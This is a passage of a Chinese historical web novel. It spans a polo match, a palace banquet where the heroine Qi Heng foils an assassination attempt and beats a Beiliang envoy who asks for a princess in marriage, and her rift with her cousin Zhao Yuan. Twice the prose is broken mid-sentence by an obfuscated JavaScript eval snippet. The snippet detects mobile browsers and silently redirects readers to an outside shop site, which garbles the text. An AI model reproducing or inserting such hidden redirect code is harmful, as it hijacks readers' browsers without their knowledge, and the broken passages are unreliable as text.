内侍正与皇帝商量人不齐全,要不要分开比试,就见戚姮翻身上马,狂道:“我就我自己。你们一起来吧,省得打我不过。” 赵繁英:“按她说的吧。” “我也就一个人。”赵元扭头,对侍官说,“否则不公平。” 球杆架在肩上,戚姮晃晃悠悠绕着赵元转了一圈,只对她说:“咱俩一队呗,打赢了你把那崽子抱走。” 赵元不作反应,一扯缰绳掉头离开。 后煜没忍住问:“马球怎么打?” “几个人一起,把球打进球门,打进记一分。香尽结束,分高者胜。”夏怀微向后撑着身子,道,“你连马都不会骑,不会想上去帮忙吧?” 后煜:“……我发现你这个人特别啰嗦。” 君子六艺,后煜唯二没学的的就是骑射。对他而言有头牛都算好的了,马过于奢侈,根本够不到。 后煜剜了夏怀微一眼,好好的天非要说些糟心的话。 待人都聚到起点,数着人头一共十人,七男三女。 北凉上了两人,斜眼看着正在甩杆上手感的戚姮,侧过脑袋搭话:“敢问,是不是戚将军。” 戚姮哼笑了声:“你猜。” 一声铜锣之后,戚姮攥紧缰绳,双脚一夹马腹便冲了出去。 石上流舍南院快连到山根的草地就是专为戚姮准备的一处私家马场。 中原军队属骑兵薄弱,很多将士的骑射都是场场战役累积出来的经验。绝大部分一辈子还没摸上一匹马,就战死在了沙场。高阶些的将领也仅仅只能说“会打”,算不得精通。 戚砚知道将来的主战场只剩北凉草原,便很舍得在这方面下功夫。她自小就要把训烈马当家常便饭,磕的浑身淤青,摔的脱臼骨折也不能叫停。射术更是一绝,百步穿杨箭无虚发,只要在射程之内被戚姮锁定,也就等同于宣判死亡。 马球只是娱乐,她学的是真生死搏杀,几乎没什么可比性。即便有草原人在场,又有什么用呢。 戚姮一马当先,收着力将球挑起,掀飞两片夹带泥沙草叶子,她侧着身,腰腹控住整个身子的重心。众人被远远甩开在后,白色小球连地都没沾,被她颠着来到球门前,抡起胳膊就是重重一击。 “咚”,刚停下还没半盏茶时间的铜锣随着小球入门乍然响起。 第一局结束。 “……” 场上静了一瞬。 随即入冷水下油锅炸开。 场外骤然掀起舆论,窃窃私语越来越大声,赵繁英满意地捧起酒杯,也不担心那狼崽子会被抢走了。 戚姮歪身,挨到赵元脸前:“姐,你就跟我一队呗,赢了我真给你。” 赵元眼睫忽闪,不应她的邀请:“再来。” 第二局开始前,戚姮就被几人挤着拥着换了位置。 原本是瞧她一人吃亏才安排在最中间,现在发现只有她让别人吃亏的份。一起比赛的都不干了,非以戚姮身手好为由让她去侧边,这样才公平。否则球都让她一人进了,根本玩不下去。 戚姮也没驳,让去就去。 从侧翼绕去中心速度的确会大打折扣,戚姮扯住缰绳,操控马匹向左突袭,一个滑行直接截住所有人的动作。右手将球挑起,抛掷半空,下一瞬从四面八方伸来的杆聚成了个圈不管不顾地去够。 戚姮向后仰身躲过,几个球杆“噼里啪啦”撞在一处,光影闪在脸前,离鼻尖也不过几寸距离。她再脚下一踏,趁着他们收手的空隙起身将球捞走,马蹄深深踩进泥里,迅速调转了方向绕出围堵。 一旦开始追不上戚姮只会越甩越远,戚姮控着马跑了两步,瞄准球门就是一记甩杆——! “咚”,第二局结束。 看戚姮打球就一种感觉,利索。 能速战速决就绝不会拖,越拖变数越大。 “这还有什么好打的,直接把彩头给她就是喽!” 有人这么喊了一句,附和声越跟越多,戚姮架着杆晃荡一圈,故作谦逊地说着“哪里哪里”。 正是觉得自己上天入地无所不能天下第一常胜将军的年纪,再被人夸夸,尾巴都快翘上天了。 这下赖不得位置,也赖不得人数,认清了真的只是单纯打不过,戚姮站哪也都无所谓了。 第三局开场,身侧对手换成了北凉人,不似之前那般有底气了,更确认了眼前之人就是戚姮。 她本想着让这局慢点进行,放些水,好让人都有摸到球的机会。哪知戚姮刚将球挑起,伸来的球杆却对准了她的杆子,奋力一挥,竟给它击飞了出去。 戚姮脑袋出现瞬间空白,连是谁这么无耻都没来得及看,升起的恼怒占据身体本能反应,翻身上去,余光瞥见赵元的身影,腾空一脚朝她那边踢了过去。 她落下时勾住了马头的绳子,拧身再度翻上马背,连地都没沾到。 赵元接住球,在空中绕了一圈,抡圆胳膊朝着球门甩杆而去。 “咚”,第三局结束。 场上的吆喝声更大了些,戚姮歪身捡起被打掉的球杆,连马都没下,扭头问:“谁干的。” “……” 所有人齐齐向后退,只留一个方才在他身侧的北凉男人还在原地。 戚姮盯着他,他做贼心虚,目光闪躲,不敢直视:“意外……” 戚姮走近了他,冷着脸将手中球杆往他头上招呼,只听一声惨叫,他被从马上击落在地:“我是不是给你好脸了。” 场上顿时乱作一团,怕惹事的遥遥退到一旁,另一个北凉人还在替他道着歉,也有侍官在两人之间调和,阳光下戚姮蹙着眉,给了宫里的人面子,才不再继续争执。 后煜放下茶盏:“我有时候真怀疑你们当初让我去惹她,是想利用戚姮来杀我。” “……” 刚刚戚姮那套控马的动作太连贯了,那身手已经不是单纯马球打得好就能做到的程度。从前只虚幻地听过她的系列战绩,也被打过,却始终没有亲眼见过。 眼下不过窥到一角,都掂量明白这是什么级别的对手。 不仅能杀人,还敢杀人,当着天子的面就敢殴打谈何的使君。 “我再说一遍,你要是想杀戚姮,你就自己去。”后煜指着夏怀微的脸,说得无比认真,“她能把我当毛巾拧死,我不可能帮你,我还要活命。” 他说着,双手一拍案几就要起身,夏怀微问:“你干吗去?” 后煜跨过栏杆,声音飘来:“学骑马去。” 戚姮没下马,加之球杆是被打掉了才没用上,综合评判赵元最后这球作数。再比也没意思,她连手上没东西都能进球,便一哄而散,二比一,彩头让给她了。 戚姮伸出手指戳了戳狼崽子的嘴筒,那小家伙还在睡觉,被捣鼓烦了才甩甩头,又趴回去了。 “这大懒猪。”戚姮笑了声,余光瞥到赵元往帐篷方向走,抬起脚快步跟了上去。 “姐,姐!姐姐!文则,赵文则!” 戚姮钳住赵元的手腕,一把把她拽了过来:“从我回来到现在你都没给过我一个好脸色看,你到底做什么?” 赵元说:“放开。” “诶诶诶。”夏怀微扯住了后煜的领口,阻止了他想要上前打断的举动。 后煜捂着脖子,险些被勒断气:“你拽我干吗?” “吵架呢,你看不到?”夏怀微低声道,“你不好奇她俩到底发生啥了闹成今天这样?先前赵文则三句不离这个妹妹,突然一下就决裂了。” “决裂还不简单,利益分配,时过境迁,道不同不相为谋。”后煜还要冲出去,“你别跟做贼似的,偷听女儿家讲话。” 夏怀微又把他拽了回来:“你不让她俩吵完,等会戚姮气上来的拿你开涮。” “她已经很久没打我了,不可能。” “不好说。” 这果然还是后煜的顾忌,夏怀微趁他犹豫就推他去了后面,露出一双眼睛,细听着那边的动静。 “歉我已经道了,上次你也揍了我一顿。都两年了,仗我都打完回来了,你怎么还在纠结两年前的事?” 戚姮眉头紧皱,箍住赵元的肩膀:“两年,死人都消解成灰了,你居然还放不下往事。” 赵元与戚姮一般高的个子,足有七分像的容貌,若不是她黑发黑眸,说是亲姐妹也不为过。 赵元闻言也只是极近无奈的嗤一声,瞟着戚姮:“你的意思是,只要时间过得够长,堂堂世子殿下低头道一声歉,我就必须原谅你骗我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531483|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “你让我放下往事,但你别总拿着往事在我面前反复晃啊!” 赵元攥紧戚姮的领子,把她拉到眼前:“我现在无论去哪都能听见你的消息。听你上朝又被谁参了,听你的功绩被几个人念叨,听你建功立业,步步高升,直达中央宰执级!” “一个人头换一个从二品高官,一场胜仗换如今的风光无限。走之前你就预备好了这一切,和陛下做了对赌条约。如你所料,你胜了,官也做了,什么都有了。” “那我呢?你说好带我一起去,为什么转头就把我扔在了皇宫?!” 戚姮干张着嘴,一向伶牙俐齿巧舌如簧此时面对着赵元声嘶力竭的质问也哑口无言,不知所措地呆看着她。 赵元两行泪已经聚到了下巴尖,冷声质问着:“你说对北疆战事还有些疑惑,我陪你一天到晚的研究地形,分析局势。你说前线凶险,我提前一年就跟着你学了招式,连侯爷都说起码在战场上我足以自保了。” “我做好了一切准备,连官家都说,只要我能说服你,就封我个随军转运使,功绩自己赚,一切就看我自己能不能挣。” “结果我没想到,问题只出在了你身上。”赵元单手掐住戚姮的双颊,逼得她不住后退,“是你不想带我。你故意告诉我假的日期,把我支走,独身进了军队。” “你告诉我,你有什么苦衷吗?还是说这一切都是误会?” 戚姮喉头如刀割,开口极尽苦涩:“往年去北凉的军队,一千个人里只能活一个。呼延达旦又是出了名的血腥残暴,你只临时学了几招,我怕你出事……” “如果你爹,如果我爹,他们以怕你出事为借口,把你锁在后宅,到年纪送去嫁人。你乐意吗?你会甘心吗?你自己能被这个理由说服吗?!” 赵元仰头将眼泪倒灌回眼眶中,忍了又忍,哭腔还是抑制不住:“你以为我不害怕吗?我是神仙不成,连死都不怕?” “要不是你也要随军出征,我压根就不会想去!” 赵元甩开她,向后退了几步,抬袖抹掉眼泪:“我是没有你那么好的身手,做不成最耀眼的功臣。但我也没求那些,我只求一个能让我跟着你的机会。你长这么大从没离开我的身边,我也怕你出事啊……起码我跟着去了也能有个照应。” “你为什么连个机会都不愿意给我,为什么要骗我……?” 赵元避开了戚姮伸来的手,平复几番心情,道:“就这样吧,既然你从最开始就没有真的全心待过我,以后也别再烦我了。” 戚姮猛跨了一步追上去,扯住赵元的衣袖:“你赶我走?” “是你在赶我走!”赵元一巴掌甩了过去,“我没那么贱,还要当做没发生一样。” “我错了,对不起,真的……我,我只是觉得那时候我们都太小了,你又没吃过苦……” 眼底蓄着的泪流出来,视线才清明多了,戚姮穷追不舍,哀求道:“我怕你死掉,我就一个姐姐,我怕你出事。” “滚。”赵元拍开她的手,转身走的痛快,戚姮刚跟了两步,剩下的那半张脸也挨了一下。 戚姮还不放弃,缠上赵元险些将她扑倒,赵元忍无可忍推了她好几把:“滚啊!滚!我就不愿意跟你再有任何接触了有问题吗?你为什么每次就不能听听我说话,你为什么总要把你的意志强加给我?!” “……” 戚姮被推的趔趄两步才定住,眼睁睁看着赵元消失在视野,还做不了任何挽救。 身侧来了个人,是从刚刚就感知到的目光,他说:“公主素来这般,不太讲人情。” 戚姮转头,没有顺着夏怀微的话说下去:“三舅舅。” “我敬你一声舅舅。但论起来,我与公主之间的问题还犯不着你来掺合。” 戚姮心情正差,被人又围观了全程,已是烦不胜烦。 “我没有别的意思,只是文则,她……” “她用得着你说吗?”戚姮反手把气撒在了他身上,“管好你自己。” “……” 戚姮甩了甩手,连个眼神都没多留,疾步离开现场。 后煜确定戚姮走远了才敢出来,瞧着夏怀微,颇有些幸灾乐祸:“好歹你也与赵文则好了那么些年,没有感情也该有底线,当着她妹妹的面还想搅浑水,可不就是容易翻船。” 夏怀微捂着脑袋缓不过来,后煜继续道:“你看我是不是说了,你若再啰嗦,早晚要挨揍。” “三舅舅,您慢慢在这想。”后煜欠嗖地一拱手,“我先走了。” 35. 水落石出【三】 殿宇之中,歌舞欢宴。 赵繁英比起喝酒享乐,更喜欢招猫逗狗。就像市井无所事事的小青年,平日里讲几句冷笑话,逮两只蛐蛐,教鹦鹉说个话话。 宫女太监都有杂事要忙,不搭理他,赵繁英就在宫里养了一堆活物,每天忙完朝政转着圈的喂狗喂猫喂金鱼。要不是为和那几个北凉人谈正事,他压根不会设什么正经的宴席,把人都喊过来。 戚姮低着头,自动隔绝了耳边嘈杂喧闹,火寸被擦出火星子,点燃了她嘴中叼着的卷筒。 宫女撑开了她身后的窗,清凉夜风灌进屋内,拂过后背。戚姮倚靠着桌案,火花灼热,烟雾飘进肺腑,瞬间抚平了一下午的焦躁与眩晕。 卷筒里夹带的干草叶,名决清子,只有波斯生长,且极难种植采摘,有市无价。向来波斯圣药,国库里也仅有三株。 侯夫人当年和亲所带来的嫁妆就有此物,整整带了两株,还在盆中生长。又因为长得与普通草木无异,被啥也不懂的戚砚移栽到了院中,风吹日晒,无人看管。 等赵繁英发现这药出现在侯府的花园时扑过去想要抢救,却发现不仅没有养死,甚至生的好好的,有越长越茂的趋势。 戚姮打娘胎就缠了一身病气,出生时又比同月龄婴孩小了一圈,哭声微弱,脉搏虚浮,就不像能养活的样。 小心翼翼喂养到了三四岁,身体依旧羸弱不堪,大病不小,小病不断,随便生些风寒于她而言都是个坎。 后来,戚砚到处寻医问药,转头经人提醒才想起来院里还种着这么个东西。 一开始磨碎了入药,可没有用,戚砚跑去问赵繁英这药咋用,毕竟他在波斯待过,又会医,肯定知道的多。 赵繁英说是晒干了,磨成碎片烧着用。 戚砚还觉得鬼扯,只听说艾草冬花可以烧,这种奇珍药材烧了也太浪费。嘿,还就是烧着用的。 药是奇药,能吊命能治病,戚姮坚持不懈地被熏了六七年,身子骨越来越硬,直到与常人一般无二,甚至要比汴京的许多男人高出一截。 但副作用也大,有瘾不说,还控制着她的情绪愈发易怒乖张,沾点来气的事就燃,气急攻心倒头就晕的事不止发生过一次了。 越烧越躁,越躁越想烧。 戚姮仰头,被赵元单方面决裂的感觉实在不好受,除了烧点药也不知道能用什么缓解。 戚姮的目光反复落在赵元身上,略过中间相隔的几列桌,赵元始终都没偏过视线半寸。 眼见赵繁英坐在高位也无聊的很,她拿起酒杯,自顾自独饮。面前新上的小菜瞧着颜色不错,戚姮也懒得管别人,三两口吃了起来。 待舞女退去,新上来了一位身着草原舞服的女人,金色挂饰围了全身,一走一叮当响。 自称叫纳维德的使臣端着酒杯,站起身,那女人也顺势跪下行了一礼,他介绍道:“陛下,这是我们北凉的十三公主。” “呼延洛奉父汗之命,恭问陛下圣躬万福。” 戚姮抬头扫了一眼,她长得与呼延绰隐隐约约有些相似,并不多,倒足以证明身份确实不假。 “公主自幼习舞,又耍得一手出神入化的剑法,欲献剑舞助兴,让诸位朝臣、大人也看看草原女儿的风情。” 纳维德将视线转向正在埋头吃饭的戚姮,道:“听闻戚将军回来后便册封了侯世子,当真是年轻有为,骁勇无双。公主此舞缺一舞伴,不知世子意下如何?” 戚姮口中嚼着芹菜,场上大半视线都投了过来,她扫了二人一眼,道:“没心情。” “……” 纳维德的表情僵在了脸上,尴尬不已。他从未与戚姮打过交道,却知道中原讲究君君臣臣,阶级森严,想不到竟然会当着皇帝的面搞得这么难堪。 其他人一副见怪不怪的样子,这家伙闹过的难堪也不止一次了,更没有出言插嘴的意思。 赵繁英维持着笑,刚想打圆场,底下的呼延绰开口道:“无碍。世子心情不佳,我也不能难为她。” “不耍剑了便是,我一人将舞献给诸位。” 呼延绰缓缓退了下去,待乐师来到场内,她也换了身衣裳。水袖叠在腕口,身形被虚虚勾勒出形状,窈窕有致,头戴半掩面的帷帽,若隐若现。 一礼后,场面静了下来。 在呼延洛的袖子第不知道多少次有意无意地掠过戚姮的脸颊时,她终于放下筷子。向后微微一仰,躲开藏匿在粉红色布料中一闪而过的寒光,刀尖擦着颈间划过,未蹭到半点。 “叮”一声,酒杯挡住了刀锋,随着陡然激烈的琴音,呼延洛脚步一转朝向戚姮而来。软剑出袖,疾如电光石火,身侧两名官员见状忙大惊失色地向旁瑟缩。 戚姮坐在原地没动,避开两刀后握住她的手腕,猛地向自己这边一拽。 呼延洛惊呼一声腾空飞起,帷帽被掀翻,转了一圈,跌进戚姮的怀里。 戚姮掰过她的胳膊,握住她的手将刀锋抵在了呼延洛侧颈之上,死死将她箍住。 “你哥哥死之前就跟我交手了三招,再不老实,我弄死你。” 如鬼魅般的声音幽幽传进耳中,呼延洛挣扎了两下,发现毫无用处后才静下来。 戚姮抬头,对面前众臣道:“没什么大事,闹着玩呢。” 赵繁英瞥过一直擦汗的纳维德,似笑非笑:“公主果然身手不凡,真是精彩极了。” 皇帝并未计较,骇然的臣子纷纷松了一口气,场上气氛瞬间缓和下来。 “你好香啊。”呼延洛凑在戚姮的领口嗅闻,向后一瘫,软软倒在她的怀中,“肩膀也好宽。” 戚姮:“?” 她一把推开呼延洛,抢了那软剑:“没收了。” “你怎么不抱我了。”呼延洛主动缠上戚姮,坐上她的腿,“我想和你耍剑你都不答应,刚刚不还是同我演了。” 戚姮笑:“想让我抱啊。” 冷冽的人笑起来如冰雪消融,呼延洛自进来到现在还是第一次见她有别的表情,愣了一瞬:“是、是啊。” 戚姮一手穿过她的膝弯,并没费太大劲就将她整个抱起,旁若无人地绕开席面,一步步向大门外走去。 戚砚目瞪口呆地看着这一幕,止不住地瞳孔地震,一瞬间思绪万千,千言万语汇成一句:卧槽。 后煜追着戚姮的身影,更是一副天塌了的表情,几度想起身跟上去,一直被解修竹拽住了胳膊。 “你以为你是戚姮?擅自离席要吃板子的。” 后煜都后悔排位置的时候没有跟别人换。 戚姮走到殿门口,没有半点犹豫地将呼延洛扔了出去,就听“啊”一声尖叫,她又负手走回殿内,继续坐着吃饭喝酒。 目睹全过程的赵繁英:“……” 戚砚也不吓了,暗道虚惊一场。后煜也不闹了,抽回自己的胳膊,瞪着解修竹嫌弃地拍了拍袖子。 解修竹:“你这孩子……!” 纳维德抽搐着嘴角,频频回首,像是在担心呼延洛,却极有外交素养地道:“陛下,此次臣来,的确是有一事相求。” 终于能谈正事了。 赵繁英坐直了身子:“但说无妨。” 他轻咳了两声,掷地有声地:“我们的大可汗从未见过戚将军这般英姿飒爽的勇士,心生敬意,神往不已。让臣代为传话,如若陛下肯割爱 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真把她送过去,下场是什么可想而知,还不如一刀来的痛快要强。 后煜好不容易平复下去的情绪“噌”一下又被点燃,死死盯着那使臣的背影,怒火中烧咬牙切齿。解修竹都快要按不动了,心里止不住祈祷这死孩子不要乱来。 “世子是大燕最骁勇的将军了……” 不知谁嘟囔了一声,不小心说出了口,飘过整座宫殿,又引起一阵沉默。 观赏的花瓶送人,与自卫的宝剑送人,天壤之别。 戚姮连头都没抬,只惊讶于这才一个月,居然这么多人都改变了想法。 要是她刚回来那阵,听纳维德这么说早就有附和的了。上折子淹了御书房,扯着什么“大义”的旗帜与戚姮舌战八百回合,也要同意这门亲事。 只是把她送过去,不用费一兵一卒就能拿回失地,换来百年太平,听起来的确是桩美事。 北凉的条件如此诱人至极,便拿准了这是个君主都难以拒绝。 “不嫁。” 偏偏摊上的是赵繁英,本朝最我行我素,无欲无求的皇帝。 他就好像是捡漏当了皇帝,否则连皇位都不会争。只要国家能运转,百姓吃得饱饭,就没见赵繁英一定想得到过什么。 临朝十二年,唯一一次动怒还是上次戚姮给他惹的。 纳维德震惊极了:“可是条件还不够?可汗说……” “跟条件没关系。”赵繁英直接打断,“戚将军是将军,于大燕而言是功臣,自有朕会为她封王觅侯,嫁不了。” 赵繁英意味深长道:“自古有言,得中原者得天下,但对朕而言,得戚姮者才有中原。想必……可汗亦是深有体会,才这么急不可耐吧。” “……” 刚放松下来的气氛瞬间又被他一只手攥紧,“咯噔”一声,引人浮想联翩。 戚姮似有所感地看向赵元,正好捕捉到她未来得及收回的视线,四目相对,赵元率先错开了脸。 她还算愉悦地嚼了两粒花生米,至少要的不是赵元。 纳维德止不住地开始擦汗,又道:“陛下莫怪,可汗真的只是欣赏戚将军罢了。” “像世子这样的人物,大可汗猜到了不会那么容易求娶……故安排臣,他说,大燕的公主也是可以的。中原的女子有勇有谋,陛下能慧眼识得如此贤良,想必女儿更是人中龙凤。” “可汗遣来了我们的十三公主,亦想要求娶大燕的公主。规格依旧全都不变,就以两国和平,做聘礼。” “……” 36. 水落石出【四】 “送公主先回去。”赵繁英沉下脸歪身向徐公公吩咐。 徐公公连忙点头:“是。” “砰”的一声,没有人看清戚姮的酒杯是如何砸了过去。眨眼间,榻便如离弦之箭,划出一阵破空声响,不偏不倚地砸中纳维德的额头。 他惨叫一声,被惯性带着向后倒去。 “狗日的我?#*%**给你太多好脸了是吧!” 戚姮比听见自己要嫁去反应还大,连赵繁英拒绝的话都来不及等,一脚跨出案几,三两下来到了纳维德面前。 他身侧随行而来的北凉人想拦,被戚姮三拳两脚撂倒一大片。她不费吹灰之力地拽起了纳维德,瞧着他额头已有鲜血渗出,还觉得不够,对其又骂又揍。 在场的人都傻在了原地,赵繁英喊了半天,她此刻谁的话也听不进去,任凭喊破嗓子也置之不理。甚至不管谁接近想阻止,都拉了过来一起揍。 赵繁英眼一眯就察觉出戚姮状态不对,像是起药效了。斜眼示意戚砚管管,使臣打两下算了不能真打死,他却突然装起了耳聋眼瞎,只装看不见。 “……” 外头侍卫没收到皇帝指令,也不敢擅自进殿阻挠,殿内喊声呻吟声混合在一起,乱的堪比菜市场。 “行了!”赵元推开徐公公要强制带她撤离的手,怒喝了一声,“戚姮你给我住手!” “……” “两国外交不杀使臣,这个道理你不懂吗?打坏了人怎么交代?” 戚姮从她吼第一句就停了手,干瞪着纳维德目眦欲裂,甩手将他扔到了地上:“他们压根就不是真心来谈和的!我没找北凉要人就不错了,几只丧家犬还敢跑过来要人!” 徐公公三番两次还想拽她,被赵元一一躲过,她蹙着眉,面容冷厉:“这是在商量,不是给你下命令,你现在像什么样子?” 赵繁英都没有插嘴的机会,欲言又止半天,干脆不说了。 “我打他还打错了?”戚姮扭头,遥遥望向赵元,“他要你去和亲!” “用不着你插手!你不去,我愿意去。”赵元态度强硬,抬起头冲赵繁英道,“陛下不用替臣拒绝!我自愿去!” 她放下这句,跟着徐公公离开了现场,徒留赵繁英张着嘴,呆若木鸡,一时间竟不知作何反应。 戚姮听见这话先是一愣,随即更盛的火气窜起,无处发泄,只能抄起瓷盘砸向地上的纳维德:“和你大爷的亲!谁敢带她走我宰了谁!” 她也不管殿内被自己搞成了什么样,看都不看在场皇帝大臣一眼,连句招呼都不打,走得干净利落。 赵繁英这才抓紧让人去查看纳维德的伤势,抬下去叫了太医诊治。 他坐在龙椅上,撑着下巴沉思。 猜测成了真,北凉还真是来要人的。要不到戚姮就想要一个公主走,什么亏也不想吃。 戚姮闹这一通反倒解了他的担忧,他也怕赵元会一声不吭地跟着跑了,甚至赵元当众认下了,如若出尔反尔,势必也会引起舆论。 眼下戚姮的狠话已经放出,就算哪天赵元真跑了,天涯海角也没人敢收。即便北凉这几个使臣想要人,看见纳维德的下场,也够呛再敢提。 赵繁英迅速将事情在脑中顺完,良久都没有吭出半个字。众臣都以为他要动怒了,屏住呼吸等待暴风雨。 结果赵繁英忽然一微笑,平和地向所有人解释:“世子,年轻气盛,难免意气用事,倒也……情有可原。” “…………” · 戚姮在御花园踢着榕树,树叶“哗啦啦”地响,好好的绿叶子硬生生落了满地,都快把这树踢秃了她才肯罢休。 她反复在原地深呼吸了多次,终于被风吹干了泪痕。 夜色朦胧,从树枝间隙漏下斑驳月光。 戚姮仰头看着摇曳树影,一根经久风化,褪色斑驳的红布料从上方缓缓飘落,落到了她的眼前,被戚姮一把攥进掌心。 这榕树种植的位置没几个宫人来往,人少偏僻,自然就寂静,适合孩童玩闹。它刚被移栽这儿的那阵子,枝干细弱,远没有现在这么高大。 戚姮八岁时在这和赵元玩刀剑,铁器被耍出力道,她那时小,没有控住。大刀脱手,飞上去砍断了这榕树伸出的一截枝桠。 戚姮亲眼看见赵繁英亲自带着人把树移栽到这,以为有多么重要,就害怕让他发现异常。 戚姮拿着砍断的树枝,哭丧着脸努力思考掩盖过去的办法。 忽然,赵元撕下来一截衣裳,叫她爬上树,把树枝再绑回去。 结果第二天赵繁英就发现了,他绕着榕树转了一圈,用脚趾头想也猜到了怎么回事,叫人把那树枝摘了下来。至于布条,重新绑到了一边。 她俩做贼心虚,等到下次再跑来这玩已经过去很久了,正常来说枝桠也该重新长了出来。见布条还挂在那,自以为做的天衣无缝,她俩偷乐着跑了。 戚姮就像这榕树命里的一道劫,如今都长这么繁茂了,还在被她撒气用。 她快步行在宫中小路,绕过众多殿宇,向着目标而去。 身后伸来一只手,抓住了戚姮的胳膊往回拽,她一时不察,猝不及防被推到墙面,后背硌得疼了一片。正欲发作之际,忽地看清了眼前的脸。 一个意想不到的人。 “文则。你别去和亲,我求你了文则……” 戚姮震惊地看着夏怀微,他一副喝醉了的模样,眼神迷离,手足无措地哀求道:“我错了……文则,不是我非要杀戚姮。是赵初!赵初他忌惮侯府的兵权,他天天幻想自己登基以后侯府造反!他害怕,就想要戚姮直接嫁进信王府,再也没有入朝的可能,还可以牵制住定远侯……” “这一切都是赵初做的主,你别跟我一刀两断……我再也不嘴硬了,我,我真受不了。” 戚姮持续震撼中。 赵元什么时候和夏怀微认识的?什么一刀两断? 至于赵初…… 那日她去太府寺,发现存储在能证明李拭镜是畏罪自杀的关键证据,全部都是假的。换句话说,有人做了假账,栽赃给了李拭镜。 ——李拭镜被细查出来阳奉阴违吃回扣的证据,是他暴露了所制的阴阳账,交上去的是阴,与户部账目一致。经几手周转所遗留的条目,被他留存在家,便是真实的阳账。 留存的目的,是为了好与钱庄分利。 阳账写明白了分利给钱庄多少钱,自留多少,拿着条条账目再去往年户部账本中核查,钱庄交给朝廷的税收涨幅计算后与其完全吻合。对查后,反而佐证了假账确实是真的。 她不信邪,便顺着李拭镜这条线摸去了皇城司,这里存管着钱庄被抄后缴获的印鉴,却也能与他吃回扣的每一笔对上号。 要么是戚姮猜错了,要么就是帮忙掩盖的人来自于皇室。 戚姮还是不相信是自己猜错了,让艾憬看,问她字迹是真是假。 选拔出的皇城司录入官候选人自小要经严苛的练字考核,一笔一划有专门的轻重粗细,尺寸规定,几乎长得如出一辙。 她们这辈子不能下笔写除档案以外的任何字,一般官员又无法接触皇城司,更别提有人会专门苦练模仿,作假可能微乎其微。 艾憬的姐姐作为上一任录入官,她见过太多次真迹了。 她细细分辨了两刻钟,非常认真地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531485|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是戚姮手里那个是假的。 戚姮这才确认,就是皇室的人在帮忙一起搞了李拭镜。 她把怀疑放在赵初身上过,但他那时候年龄太小了,才十四岁。轻敌心理作祟,戚姮实在不相信这个天天只会当跟屁虫的小孩会有如此城府。 结果夏怀微一通抖搂,成功就把赵初给卖了。 赵初果然是有问题的那个。 “文则?你怎么不说话?” 夏怀微凑过来就想吻,被戚姮一拳抵住额头,推远了点。 戚姮都不知道该说他重情,还是说他压根没把赵元放在心上,就喝点酒,连人都能认错。 她心安理得地接受了自己是赵文则,继续套话道:“宁淮的秘密是什么?” “秘密……”夏怀微思索了片刻,在戚姮的期待中,开口道,“楼兰有……呃!” 夏怀微腰上结结实实挨了一脚,闷哼一声向旁边栽倒。戚姮好不容易激动起来的心瞬间跌落谷底,气又在刹那间冒了上来,下一刻,又消了。 “夏瑾!我日你祖宗八十代!!” 后煜好不容易找到这,眼睁睁看着夏怀微差点亲上去,他这辈子也没跑那么快过。就如闪电般奔来,逮着夏怀微一通毫无章法的拳打脚踢:“你敢翘我墙角!啊啊!!!我杀了你!” 戚姮:“……” 她压根没心情看人互殴,眼见这一脚给夏怀微踹清醒了,想再问什么也够呛。戚姮叹了声可惜,扭头向着本来要去的地方迈步。 赵元刚被人伺候着梳洗完,待人都退出去后,坐在镜前,拿笔在眉心画了一点,盯着它发呆。 镜面闪过个影子,赵元愣了一瞬,下意识朝后看。 ——戚姮就倚在她的窗边,挑着角度故意将影子映去。 月下阴影匿了戚姮大部分神态,赵元看不清她到底是喜怒哀乐,她就靠在那,动也不动。 黑暗中灼热目光似火,烤得赵元坐立不安,起身要去关窗。 戚姮迅速伸手抓住了窗框,腰腹一卷,双腿蜷着滑进屋内,正好立定在赵元眼前。 她没有半分迟疑地转身离开,戚姮又绕过去挡路。赵元面无表情地,抬手欲扇,这次却被握住了手腕,稍一用力便被反剪到身后。 戚姮拧着她的胳膊,向前推到桌面。 戚姮开门见山道:“和亲这事只要我不同意,谁也不敢带你离开,你趁早死了这条心。” “用不着你管。”赵元的脸贴在冰凉的桌面,她挣扎了半天,丁点用处都没有,“你给我放开!” “我就不放。”戚姮箍着她,不把话说完誓不撒手,“这是我跟你的私人恩怨,你不要带着怨气做会后悔的事。现在大燕的国力用不着你去和亲,他就是想恶心官家!” 赵元说:“我管你们恶不恶心,现在我就不想看见你!去哪都行,我就是不想看见你!听懂了吗?!” 戚姮驳道:“你照镜子分明是想我!” “你哪来的脸?” “你自己说的!之前你说的,你一想我就照镜子!”戚姮伸手抹掉她眉心的红砂印,将她翻过身来看着自己,“有本事你别点痣啊!” “……” “我就在这,想看就看。”戚姮指在赵元脸前,“我告诉你,你前脚敢走,后脚我就杀过去。看是你走得快,还是北凉被我灭得快。” “滚!”赵元突然发了疯似的踢她,“滚!滚!!” 戚姮松手,扭头看了赵元一眼,又从窗户翻出去了。 赵元从桌上跌落在地,抄起屋里一切可以拿起的东西砸向墙壁,噼里啪啦,骂声不绝。 戚姮权当没听见,贴着墙根消失在转角。 37. 水落石出【五】 五月底,账本只剩最后末尾清算,后煜的左手不便,近些日子一直是带着东西跑去戚姮房中找她帮忙一起处理。 “军饷在你手底下流动,你是不是能掌握财政的支出大头?” 